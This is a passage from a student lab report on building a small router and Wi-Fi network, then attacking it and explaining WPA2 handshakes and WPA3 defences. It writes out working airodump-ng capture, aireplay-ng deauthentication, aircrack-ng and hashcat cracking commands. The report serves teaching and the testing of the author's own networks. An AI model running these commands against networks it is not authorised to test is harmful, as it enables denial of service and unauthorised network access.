<p>This approach also works inside an already NATed network, as we did here. Inside the school network, we used our router to create a NAT with the school network, giving us internet access. For this, we used the following commands:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># allowing addresses in the 172.28.0.0/24 subnet to be translated</span>
</span></span><span style="display:flex;"><span>access-list <span style="color:#ae81ff">1</span> permit 172.28.0.0 0.0.0.255
</span></span><span style="display:flex;"><span><span style="color:#75715e"># using the above list of addresses to be allowed to get translated and </span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># specifying the interface on which the school network comes in and </span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># specifying the NAT type with the overload keyword</span>
</span></span><span style="display:flex;"><span>ip nat inside source list <span style="color:#ae81ff">1</span> interface f0/0 overload
</span></span><span style="display:flex;"><span><span style="color:#75715e"># setting the port f0/0 to be the source of the school network, which in </span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># this case is the &#34;internet&#34;</span>
</span></span><span style="display:flex;"><span>interface f0/0
</span></span><span style="display:flex;"><span>ip nat outside
</span></span><span style="display:flex;"><span><span style="color:#75715e"># setting the port for our LAN</span>
</span></span><span style="display:flex;"><span>interface f0/1
</span></span><span style="display:flex;"><span>ip nat inside
</span></span></code></pre></div><p>This configuration can be verified by running the command <code>ip address dhcp</code> to obtain an IP address from the school&rsquo;s DHCP server for our router, which can then be viewed using <code>show ip int br</code>. From the DHCP server, we also received a gateway and static routes to reach the internet, which are displayed using <code>show ip route</code>. Lastly, Google is pinged to demonstrate connectivity. All of these steps can be examined in Figure 2.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/nat.png"/> <figcaption>
            Figure 2: Verifying the NAT configuration
        </figcaption>
</figure>

<p>Next, DHCP needs to be configured on the router so that clients can obtain IP addresses. To do this, first, a DHCP pool has to be created using the <code>ip dhcp pool</code> command along with a desired name for the pool in global configuration mode.<br>
Then, the network from which to hand out IP addresses is specified using the <code>network</code> command along with the network address and the subnet mask.<br>
The default router and DNS server are set afterward, as well as excluding three addresses to align with the topology using the <code>ip dhcp excluded-address</code> command. The commands used are as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># creating the pool</span>
</span></span><span style="display:flex;"><span>ip dhcp pool R1_Intern_LAN
</span></span><span style="display:flex;"><span><span style="color:#75715e"># setting the network</span>
</span></span><span style="display:flex;"><span>network 172.28.0.0 255.255.255.0
</span></span><span style="display:flex;"><span><span style="color:#75715e"># setting the default router</span>
</span></span><span style="display:flex;"><span>default-router 172.28.0.254
</span></span><span style="display:flex;"><span><span style="color:#75715e"># using the school&#39;s DNS server</span>
</span></span><span style="display:flex;"><span>dns-server 193.170.234.183
</span></span><span style="display:flex;"><span><span style="color:#75715e"># excluding IP addresses from the pool</span>
</span></span><span style="display:flex;"><span>ip dhcp excluded-address 172.28.0.3
</span></span><span style="display:flex;"><span>ip dhcp excluded-address 172.28.0.254
</span></span><span style="display:flex;"><span>ip dhcp excluded-address 172.28.0.250
</span></span></code></pre></div><p>This configuration will be verified in two sections after the access point is added and clients are on the network, testing its connectivity.</p>
<h4 id="configuring-the-access-point">Configuring the Access Point</h4>
<p>To configure the access point, first, we reset it by holding the reset button on the back for 15 seconds in case it has already been configured.<br>
Once it has been reset, it is plugged into the switch, which does not need to be configured and already has Power over Ethernet (PoE), so no power supply is needed to power the access point, nor is any configuration required for the switch.<br>
To access the access point&rsquo;s configuration, a computer is connected to the same switch, and its IP address is changed to the <code>192.168.1.0/24</code> subnet. Then, at <code>192.168.1.252</code>, its configuration can be accessed as stated in the manual on pages 7 and 8.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup><br>
To set the correct IP address of the access point, the configuration tab is opened, and under <code>LAN → Network Setup</code>, the IP is set to static and configured to the correct address according to the topology, as can be seen in Figure 3.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/A2.1-AP1-ip.png"/> <figcaption>
            Figure 3: Changing the network settings of the access point
        </figcaption>
</figure>

<p>The Wi-Fi network to set up is configured in the <code>Wireless → Basic Settings</code> tab for <code>Radio 1</code>, which means configuring the 2.4 GHz radio. Below, under <code>SSID</code>, the desired SSID is set, and importantly, the isolation checkbox is unchecked so that wireless devices are not isolated and can ping each other. In section 4.1.4, isolation will be discussed further, but for now, it remains off. Lastly, the channel is set to auto, which can be seen with the other configurations in Figure 4. On the day of the lab, the two rooms were filled with access points, and the entire 2.4 GHz spectrum was congested, leaving no free channel to select. This can be observed in Figure 5, where NetSpot was used to analyze the usage of the channels.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/A2.1-AP1.png"/> <figcaption>
            Figure 4: Setting up the Wi-Fi Network
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/wifichan.png"/> <figcaption>
            Figure 5: Viewing the usage of the channels in the 2.4 GHz spectrum
        </figcaption>
</figure>
</p>
<p>Now, under the <code>Wireless → Security</code> tab, the SSID is selected for configuration, which in our case is the previously created SSID. The Password/Pre-Shared Key to use is <code>Passwort2025!</code>, as specified in the task definition, and WPA2 is selected as the encryption algorithm, which can be seen in Figure 6.<br>
As stated in the access point&rsquo;s manual on pages 32 to 43, it offers WEP, WPA2-Personal, WPA/WPA2-Personal, WPA2-Enterprise, WPA/WPA2-Enterprise, and RADIUS. The only two relevant options are WPA2-Personal and WPA2-Enterprise, since the other options that use WPA or WEP are obsolete and can be easily compromised with minimal computational effort. The most secure of the relevant options is WPA2-Enterprise, as the pairwise master key is regenerated for each session compared to WPA2-Personal.<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> <sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup><br>
The password <code>Passwort2025!</code> is also not very secure, as an attacker could use a wordlist and automatically generate variants of it. This could be cracked quickly by adding human-like variants, such as appending the current year and a random special character, and then repeating this for every entry in the wordlist. Bitwarden&rsquo;s password test tool estimates that this password would be cracked in 18 hours, as seen in Figure 7.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/A2.1-AP1-wpa.png"/> <figcaption>
            Figure 6: Setting up the Security settings for the Wi-Fi Network
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/pwthingtest.png"/> <figcaption>
            Figure 7: Testing the password&#39;s strength
        </figcaption>
</figure>
</p>
<h4 id="testing-connectivity-and-dhcp-addresses">Testing connectivity and DHCP addresses</h4>
<p>To verify the DHCP assignments and the connectivity, the IP of the attacker&rsquo;s laptop, which at the time was plugged in instead of using the wireless network, received the <code>.1</code> address assigned, as shown in Figure 8. This figure also displays two phones as wireless clients and their assigned IPs. Figure 9 shows one of the phones pinging the other phone, the laptop, and Google to verify the connectivity of a wireless device to a wired one, between two wireless devices, and from a wireless device to the internet. To ping with the phone, the <code>ping</code> command was used inside the Termux mobile app, which is available on the Google Play Store or on F-Droid for Android phones.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/phoenedge.png"/> <figcaption>
            Figure 8: DHCP assigned addresses of the devices
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/conntest.png"/> <figcaption>
            Figure 9: Testing the connectivity
        </figcaption>
</figure>
</p>
<h4 id="access-point-isolation">Access Point Isolation</h4>
<p>Access Point isolation is a feature that prevents wireless clients from communicating with other wireless clients; they cannot see each other nor ping each other. This is used for shared Wi-Fi networks, such as those found in airports. Having this feature enabled can break functionality like screen mirroring and controlling local IoT devices. In Figure 10, the topology of a home network, where a Pixel 8a device is used as a phone and Steckdose is a smart power plug, both connected to the access point, which has isolation turned on. As can be seen in Figure 11, the phone cannot ping the power plug due to the isolation, but control of the power plug is still possible since TP-Link made the great decision to provide it with internet access in the app.<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/steckdose_ip.png"/> <figcaption>
            Figure 10: Topology for AP isolation example
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/steckdose_ping.png"/> <figcaption>
            Figure 11: Trying to ping the Powerplug
        </figcaption>
</figure>
</p>
<p>Isolation might sound like a feature that could prevent Wi-Fi hacking and sniffing handshakes, but as shown in Figure 12, even with isolation turned on, it does not stop an attacker from capturing all of the wireless traffic with a Wi-Fi adapter that supports monitoring mode, since the frames are transmitted through the air anyway and can therefore be stored.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/islolateuseless.png"/> <figcaption>
            Figure 12: Isolation does not prevent sniffing
        </figcaption>
</figure>

<hr>
<h3 id="attacking-the-wi-fi-network">Attacking the Wi-Fi Network</h3>
<h4 id="setting-up-the-wi-fi-adapter">Setting up the Wi-Fi Adapter</h4>
<p>To capture all frames, a Wi-Fi adapter with Monitoring Mode is required, which allows a computer with a wireless network interface to monitor all traffic on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point or ad hoc network first. Monitor mode only applies to wireless networks, while promiscuous mode can be used on both wired and wireless networks.<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> <sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></p>
<p>One of the most popular Wi-Fi chipsets that supports Monitoring Mode is the Realtek rtw88 series, for which drivers are available for Linux in this repository. For this exercise, a USB Wi-Fi adapter with the RTL8821AU chipset was used. The needed drivers were downloaded and installed following the instructions in the README from <a href="https://github.com/lwfinger/rtw88">lwfinger/rtw88</a>.</p>
<p>To activate Monitoring Mode, the command <code>iw dev &lt;interface&gt; set type monitor</code> is used, and <code>iw dev &lt;interface&gt; info</code> can be used to verify the configuration. This command can also be used to check if the device supports Monitoring Mode or not, as can be seen in Figure 13. Additionally, the program <code>wifite</code> can be used to check whether the device supports Monitoring Mode or not, as showcased in Figure 14. Wifite is a Python script that automates wireless auditing using aircrack-ng tools.<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup></p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/iwdev.png"/> <figcaption>
            Figure 13: Activating Monitoring Mode via iw
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/wifite.png"/> <figcaption>
            Figure 14: Activating Monitoring Mode via wifite
        </figcaption>
</figure>
</p>
<h4 id="starting-the-attack">Starting the attack</h4>
<p>For the attack, the Aircrack-ng toolset is used to test the security of Wi-Fi networks. It supports monitoring, attacking, testing, cracking, and maintains patches for packet injection of Linux Wi-Fi drivers.<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup></p>
<p>To get started, its <code>airmon-ng</code> script is used to enable monitor mode on the Wi-Fi adapter. The command used is <code>airmon-ng start &lt;interface&gt;</code>. It also checks for conflicting processes, such as network managers, and offers options to kill them to avoid interrupting the attack. However, I found that simply ignoring this warning has no effect if it&rsquo;s not the only Wi-Fi adapter in the system, as shown in Figure 15.<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/airmon.png"/> <figcaption>
            Figure 15: Activating Monitoring Mode via airmon-ng
        </figcaption>
</figure>

<p>To start the attack, the BSSID/MAC address of the access point, as well as the wireless channel, needs to be obtained. To do this, <code>airodump-ng</code> is used to capture raw 802.11 frames.</p>
<p>To obtain all of that information, <code>airodump-ng &lt;interface&gt;</code> is used to get all the data from the detected active Wi-Fi networks and clients. Figure 16 shows the output, where the top half displays all of the detected access points while the bottom half shows the clients. It displays information such as MAC Address, signal strength, number of beacon and data frames, channel, encryption standard, cipher set, authentication method, and ESSID.<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/aridodump1.png"/> <figcaption>
            Figure 16: Gathering information via airodump-ng
        </figcaption>
</figure>

<p>With the information from Figure 16, we now know that the channel of the target Wi-Fi <code>3AHITN-GRP-12</code> is <code>11</code>, the MAC Address of the access point is <code>B4:75:0E:1A:7F:A5</code>, and that it uses WPA2-Personal with the CCMP cipher set. A new command can be used that specifies the correct channel and BSSID, and also writes the captured data to files using the <code>-w</code> option.</p>
<p>The command used was:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo airodump-ng -c <span style="color:#ae81ff">11</span> --bssid B4:75:0E:1A:7F:A5 -w thing wlan1
</span></span></code></pre></div><p>where the <code>-c</code> option sets the channel to use, the <code>--bssid</code> option specifies the BSSID of the desired access point, the <code>-w</code> option writes the capture to files starting with the name <code>thing</code>, and finally, the interface to use is specified, which in this case is <code>wlan1</code>.<sup id="fnref1:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></p>
<p>Now, only the desired access point is captured, and all its clients can be seen in the bottom half of the screen, as shown in Figure 17.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/airodump2.png"/> <figcaption>
            Figure 17: Capturing frames from the target AP
        </figcaption>
</figure>

<h4 id="sending-deauthentication-frames">Sending Deauthentication Frames</h4>
<p>To capture a 4-Way WPA2 handshake, there are two options: wait for a client to connect or send a deauthentication frame with the MAC Address of a client to disconnect it. This can easily be captured using packet sniffing, and if the client has automatic reconnect enabled, the handshake can be captured.<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></p>
<p>This is called a deauthentication attack, which is a type of denial-of-service attack, as it actively stops the connection of a client. This method can also be used on the entire network if a tool like <code>aireplay-ng</code> is used to send the frame with the MAC Address of all the clients, allowing the attacker to take down the entire Wi-Fi network. This is useful for either an Evil Twin attack or, as in our case, a password attack to capture the handshake for decryption.<sup id="fnref1:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup> <sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></p>
<p>To deauthenticate one of the clients, the following command was used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo aireplay-ng -0 <span style="color:#ae81ff">1</span> -a B4:75:0E:1A:7F:A5 -c 6A:F7:AD:2F:C6:32 wlan1
</span></span></code></pre></div><p>This uses <code>aireplay-ng</code> to generate traffic for later use with <code>aircrack-ng</code>. One of its uses is to send deauthentication frames. The first option of the above command is <code>-0</code> with <code>1</code> as the value. Here, <code>-0</code> means deauthentication, and the number sets the number of deauthentication frames to send. If that value is <code>0</code>, deauthentication frames are sent until the program is exited. In this case, only one is sent to hopefully prompt the client to reconnect. Multiple frames are only necessary if the goal is to keep the connection down for an Evil Twin attack or just a denial-of-service attack in general. The <code>-a</code> option is used to specify the MAC Address of the access point to which the deauthentication frame will be sent, while <code>-c</code> is the client whose MAC address will be spoofed in the packet to disconnect them. If the <code>-c</code> option is not set, <code>aireplay-ng</code> will try to disconnect all clients by sending the deauthentication frames to the broadcast, which is a more effective denial-of-service method. However, as my goal is only to get one handshake, I chose a specific client. Disconnecting multiple devices is not wise if the goal is only to capture one handshake, as it could raise suspicion that someone is trying to perform a DoS attack on the Wi-Fi network. The output of the command can be examined in Figure 18.[^deauth]</p>
<p>To filter for deauthentication frames in Wireshark, the following filter can be used:<br>
<code>(wlan.fc.type eq 0) &amp;&amp; (wlan.fc.type_subtype eq 12)</code><br>
The part in the first parentheses filters only for Management frames, and the second one checks if the Frame Type/Subtype is equal to 12, which is the code for a deauthentication frame.<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></p>
<p>Looking at the frame itself, as shown in Figure 19, nothing special or complicated is going on; it is just the frame that <code>aireplay-ng</code> created, and it contains the receiver, destination, transmitter, source address, and BSSID.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/deauth.png"/> <figcaption>
            Figure 18: Sending a deauthentication frame
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/deauth%20frame.png"/> <figcaption>
            Figure 19: Viewing a deauthentication frame in Wireshark
        </figcaption>
</figure>
</p>
<p>Now that the client has been disconnected, if we look back at the running capture from before, we can see that once a handshake has occurred, it is printed out in the first line for which BSSID it was captured, as well as in the Notes section of the client, which gets populated with the EAPOL value. EAPOL stands for Extensible Authentication Protocol over LANs (IEEE P802.1X-REV) and is the protocol over which the WPA2 handshake is carried out, as stated on page 7 in the Definitions section of the 802.11i (WPA2) standard.<sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></p>
<p>This can be examined in Figure 20.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/thing.png"/> <figcaption>
            Figure 20: Visual confirmation of the captured handshake
        </figcaption>
</figure>

<hr>
<h3 id="analyzing-the-4-way-handshake-in-wireshark">Analyzing the 4-Way Handshake in Wireshark</h3>
<p>Now that the handshake has been captured, it&rsquo;s time to analyze the captured handshake in Wireshark and decrypt it to obtain the password.</p>
<p>To filter for the handshake, the following filter was used:<br>
<code>eapol &amp;&amp; !eap</code><br>
This filter only displays frames with EAPOL, which are responsible for authentication, and excludes frames that contain EAP (Extensible Authentication Protocol (IETF RFC 3748)), which is only used for WPA2-Enterprise and therefore not relevant for now.</p>
<h4 id="eapol-frame-fields">EAPOL Frame Fields</h4>
<p>As stated in section 4.2.3, EAPOL is used to carry authentication data between the supplicant and the authenticator, resulting in the exchange of cryptographic keys and synchronization of the security association state. To understand a breakdown of the 4 frames of the handshake, the relevant fields of an EAPOL frame will be explained.<sup id="fnref1:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/eapolframe.png"/> <figcaption>
            Figure 21: Layout of an EAPOL frame
        </figcaption>
</figure>

<ul>
<li><strong>Descriptor Type</strong>: This field stores the type of the key, which contains the used cipher suite; for example, it could be AES.<sup id="fnref2:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
<li><strong>Key Information</strong>: The 2 octets of this field specify characteristics of the key, which could include Error, Key MIC, Key ACK, etc. The full chart for this can be found in Figure 43—Key Information bit layout on page 78 of the specification.<sup id="fnref3:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
<li><strong>Key Length</strong>: An unsigned binary number defining the length of the pairwise temporal key to configure into IEEE 802.11. The value varies per used cipher suite and is shown in Table 20—Cipher suite key lengths on page 79 of the specification.<sup id="fnref4:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
<li><strong>Key Replay Counter</strong>: Acts as a sequence number and is initialized as 0 when the PMK is established. The supplicant uses it to detect replayed frames, and the authenticator increments the number on each successive EAPOL-Key frame. When replying, the supplicant shall use the counter field from the last valid frame received from the authenticator, who shall use the value to silently discard invalid frames.<sup id="fnref5:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
<li><strong>Key Nonce</strong>: Conveys the ANonce, which is just a random number used for the authentication from the authenticator and the SNonce from the supplicant. It may contain 0 if a nonce is not required to be sent.<sup id="fnref6:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
<li><strong>Key RSC</strong>: Contains the receive sequence counter (RSC) for the GTK being installed in WPA2. It is used in Message 3 of the 4-Way Handshake and Message 1 of the Group Key Handshake, where it is used to synchronize the IEEE 802.11 replay state.<sup id="fnref7:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
<li><strong>Key MIC</strong>: The Key MIC is a MIC (Message Integrity Code) calculated from the Key Descriptor Value and Key Data Field.<sup id="fnref8:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
<li><strong>Key Data Length</strong>: Represents the length of the encrypted key data field.<sup id="fnref9:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
<li><strong>Key Data</strong>: A variable-length field that is used to include any additional data required for the key exchange that is not included in the fixed fields of the EAPOL-Key frame.<sup id="fnref10:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
</ul>
<h4 id="4-way-handshake-message-1">4-Way Handshake Message 1</h4>
<p>The authenticator sends an ANonce to the client, which is a pseudo-random number generated by it. This ANonce will be used by the supplicant to generate its SNonce. This can be seen in Figure 22 below, where the replay counter has also been incremented due to the R flag being set in the Wi-Fi header, since the first packet was dropped and is being replayed.<sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup> <sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/hadnshake1.png"/> <figcaption>
            Figure 22: First frame of the 4-Way Handshake
        </figcaption>
</figure>

<h4 id="4-way-handshake-message-2">4-Way Handshake Message 2</h4>
<p>The supplicant sends its SNonce with a MIC (which also changes the Key Information Field and sets the Key MIC flag to 1) to the authenticator. After the AP receives this, the PTK (Pairwise Transient Key) is verified. If the MIC is not valid, the MLME-DEAUTHENTICATE.request primitive is used to terminate the association.<sup id="fnref1:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup> <sup id="fnref1:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/handskahe2.png"/> <figcaption>
            Figure 23: Second frame of the 4-Way Handshake
        </figcaption>
</figure>

<h4 id="4-way-handshake-message-3">4-Way Handshake Message 3</h4>
<p>The authenticator checks the MIC, and if it is valid, it generates the GTK (Group Transient Key), which gets encapsulated in the Key Data field. The replay counter is incremented, and the install flag in the Key Information field is set to 1, along with the Key ACK and Key MIC fields. Upon receiving this, the supplicant verifies the MIC and ANonce, and if successful, constructs Message 4.<sup id="fnref2:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/handshake3.png"/> <figcaption>
            Figure 24: Third frame of the 4-Way Handshake
        </figcaption>
</figure>

<h4 id="4-way-handshake-message-4">4-Way Handshake Message 4</h4>
<p>The supplicant sends a frame with the Key ACK field set to 0 and only a MIC as a final OK, indicating that everything needed for the communication is installed.<sup id="fnref2:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/handshake4.png"/> <figcaption>
            Figure 25: Fourth frame of the 4-Way Handshake
        </figcaption>
</figure>

<hr>
<h3 id="cracking-the-password">Cracking the Password</h3>
<p>To finally crack the password, the following aircrack-ng command was used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>aircrack-ng -w pwlist -b B4:75:0E:1A:7F:A5 thing*.cap
</span></span></code></pre></div><p>This command uses the <code>-w</code> option to set a wordlist, which is the top 100k used password list, to which I append the correct password, as seen in Figure 26. The <code>-b</code> option sets the BSSID to use, and lastly, <code>thing*.cap</code> tells aircrack-ng to use all <code>.cap</code> files starting with <code>thing</code> as the name. Once the command is run and the password is found, it will be displayed, which can also be seen in Figure 26.<sup id="fnref:18"><a href="#fn:18" class="footnote-ref" role="doc-noteref">18</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/pwlist.png"/> <figcaption>
            Figure 26: Showing the cracked password
        </figcaption>
</figure>

<h4 id="testing-my-own-wi-fi">Testing My Own Wi-Fi</h4>
<p>Now I wanted to do something extra to test my home Wi-Fi to see if it holds up.</p>
<p>To do this, I reran the same commands as in the sections above.</p>
<p>After obtaining the hash, I used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hcxpcapngtool -o home.22000 -E WLAN-homeF2 pcap/mehrstuff.pcapng
</span></span></code></pre></div><p>to convert the Wireshark capture from the background to a <code>.22000</code> file so I could use hashcat on my PC to crack my password without simply adding the password to the list and see how long it takes. This command uses hcxtools to extract the hashed password for a given SSID from a capture file so it can be used for hashcat. To do this, the <code>-o</code> option was used to set the output file, as well as the <code>-E</code> option to set the SSID, and lastly, the location of the input file to use.</p>
<p>On my Windows PC, I used the following hashcat command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hashcat -m <span style="color:#ae81ff">22000</span> home.22000 -a <span style="color:#ae81ff">3</span> -w <span style="color:#ae81ff">3</span> ?u?u?u?u?u?u?u?u?u?u?u?u?u?u?u?u?u
</span></span></code></pre></div><p>This command uses the <code>-m</code> option to determine the type of hash, which in this case is a WPA-PBKDF2-PMKID+EAPOL hash. The <code>-a 3</code> option sets the attack mode to 3, which is a brute force mask attack, and <code>-w 3</code> sets the workload profile to be aggressive and use as many system resources as possible. Lastly, the <code>?u</code> is a placeholder for uppercase alphanumeric characters (A-Z), since my password is not in a wordlist and only consists of 17 alphanumeric uppercase characters.<sup id="fnref:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup> <sup id="fnref:20"><a href="#fn:20" class="footnote-ref" role="doc-noteref">20</a></sup></p>
<p>However, as seen in Figures 27 and 28, the length of the password caused hashcat to overflow on my system, and the Bitwarden password strength calculator indicates it would take centuries to crack. Therefore, I see this as a success for my security.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/hashcat.png"/> <figcaption>
            Figure 27: Output of the hashcat command
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex11/images/wlanpwtest.png"/> <figcaption>
            Figure 28: Time estimation for password cracking
        </figcaption>
</figure>
</p>
<hr>
<h3 id="mitigations-of-this-attack">Mitigations of This Attack</h3>
<p>To make such attacks harder, or even impossible, or less likely to occur, there are mainly three ways to achieve this:</p>
<ul>
<li>Using a strong password</li>
<li>Forcing WPA3</li>
<li>Segmenting the network</li>
</ul>
<p>All of these work together, and to illustrate the point, a scenario for a home network will be used that incorporates all of them while trying to reduce the increased effort of higher security as little as possible.</p>
<p>Since most homes have IoT devices or printers that can&rsquo;t use newer encryption standards, the Guest Network feature on the router will be used, which will have all IoT devices such as printers, etc. If possible, the internet speed will be limited, and a somewhat secure password will be used.</p>
<p>For the main network, a strong password is used, and WPA3 is enforced. To reduce the burden of long passwords, NFC cards and QR Codes can be used to connect to the Wi-Fi in a more convenient way.</p>
<p>This achieves all of the above-mentioned points and protects the family from an outdated device, like a printer, being a backdoor to their network and potentially spying on their local traffic or, due to the weaker encryption, risking an attacker breaking into their home Wi-Fi.</p>
<h4 id="how-wpa3-improves-security">How WPA3 improves security</h4>
<p>The first upgrade of WPA3 is the improvement of the encryption algorithm, which is now 256-bit Galois/Counter Mode Protocol (GCMP-256), significantly improving upon WPA2.</p>
<p>The main improvement is the Dragonfly handshake, which is resistant to dictionary attacks and provides forward secrecy. It makes use of zero-knowledge proofs, and for each authentication, a new key is generated. Due to the zero-knowledge proof, the password is never actually transmitted.<sup id="fnref:21"><a href="#fn:21" class="footnote-ref" role="doc-noteref">21</a></sup></p>
<p>The handshake is essentially a SPEKE (Simple Password Exponential Key Exchange), which works like this:</p>
<ol>
<li>Both Alice and Bob share a password ( P ).</li>
<li>They use a known transformation to derive a point ( G ) on the elliptic curve ( E ).</li>
<li>Then Alice and Bob each randomly pick a value in the domain of the prime ( p ).</li>
<li>Alice randomly picks ( a ) and Bob randomly picks ( b ).</li>
<li>They exchange ( aG ) and ( bG ).</li>
<li>Then both parties compute ( K ) as usual in the Diffie-Hellman key exchange.</li>
</ol>
<p>This makes offline dictionary attacks not feasible because an attacker can guess ( G ), but they can&rsquo;t find ( aG ) and ( bG ) due to the hardness of the mathematical problem. Since ( a ) and ( b ) were randomly chosen, ( K ) cannot be computed, and even if the password is guessed correctly, it is still very unlikely that the two random numbers ( a ) and ( b ) were also guessed correctly.<sup id="fnref1:21"><a href="#fn:21" class="footnote-ref" role="doc-noteref">21</a></sup></p>
<h4 id="possible-wpa3-attacks">Possible WPA3 Attacks</h4>
<p>There are mainly four types of attacks used against WPA3, which are:</p>
<ol>
<li>Timing-based side-channel attacks</li>
<li>Cache-based side-channel attacks</li>
<li>Downgrade attacks</li>
<li>Denial of Service</li>
</ol>
<p>The first two attacks are side-channel attacks, which are any attacks based on extra information that can be gathered because of the fundamental way a computer protocol or algorithm is implemented, rather than flaws in the design of the protocol or algorithm itself. For example, in a timing-based side-channel attack, the computation time of an action gives the attacker more information about the system, allowing them to exploit that and gain more information, such as comparing the computation timing for two passwords. A cache-based side-channel attack would involve the attacker monitoring the accesses made by the victim in a shared physical system, like a virtualized environment, to gain information in that manner.<sup id="fnref:22"><a href="#fn:22" class="footnote-ref" role="doc-noteref">22</a></sup></p>
